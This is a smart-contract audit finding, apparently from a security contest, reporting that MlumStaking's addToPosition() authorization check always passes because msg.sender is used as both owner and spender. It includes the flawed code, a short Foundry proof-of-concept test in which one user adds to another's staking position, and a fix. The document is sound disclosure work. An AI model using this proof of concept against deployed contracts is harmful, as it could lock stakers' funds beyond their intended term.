Future Mandarin Unicorn

High

# Users' position in MlumStaking can be extended by malicious users

## Summary
Function addToPosition() aims to be only called by owner or operators. However, anyone can call addToPosition(). This will cause users' position can be impacted by malicious users, maybe extend the locking time.

## Vulnerability Detail
In MlumStaking, NFT owner or operators can add some amount into one position. There is one require to make sure that only owner or operators of the NFT can call this function.
The vulnerability is that this require does not work. The first parameter of _isAuthorized() should be NFT's owner. We use msg.sender, this will cause _isAuthorized()'s return value will be always true. 

```javascript
    function addToPosition(uint256 tokenId, uint256 amountToAdd) external override nonReentrant {
        _requireOnlyOperatorOrOwnerOf(tokenId);
        require(amountToAdd > 0, "0 amount"); // addToPosition: amount cannot be null
       ......
    }
    function _requireOnlyOperatorOrOwnerOf(uint256 tokenId) internal view {
        // isApprovedOrOwner: caller has no rights on token
   ==>require(ERC721Upgradeable._isAuthorized(msg.sender, msg.sender, tokenId), "FORBIDDEN");
    }
    function _isAuthorized(address owner, address spender, uint256 tokenId) internal view virtual returns (bool) {
        return
            spender != address(0) &&
            (owner == spender || isApprovedForAll(owner, spender) || _getApproved(tokenId) == spender);
    }
```
### Poc
Alice adds one position, and bob can call addToPosition() for alice's position.
```javascript
    function testPocAddToPosition() public {
        _stakingToken.mint(ALICE, 2 ether);
        _stakingToken.mint(BOB, 4 ether);

        vm.startPrank(ALICE);
        _stakingToken.approve(address(_pool), 1 ether);
        _pool.createPosition(1 ether, 1 days);
        vm.stopPrank();

        vm.startPrank(BOB);
        _stakingToken.approve(address(_pool), 4 ether);
        _pool.addToPosition(1, 1 ether);
        //_pool.createPosition(1 ether, 0.2 days);
        vm.stopPrank();
    }
```
## Impact
Anyone can change one position via addToPosition(). Malicious users may call addToPosition() to extend the timelock. Stakers may not withdraw their funds as expected.

## Code Snippet
https://github.com/sherlock-audit/2024-06-magicsea/blob/main/magicsea-staking/src/MlumStaking.sol#L397-L428
## Tool used

Manual Review

## Recommendation
```javascript
    function _requireOnlyOperatorOrOwnerOf(uint256 tokenId) internal view {
        // isApprovedOrOwner: caller has no rights on token
        require(ERC721Upgradeable._isAuthorized(_ownerOf(tokenId), msg.sender, tokenId), "FORBIDDEN");
    }
```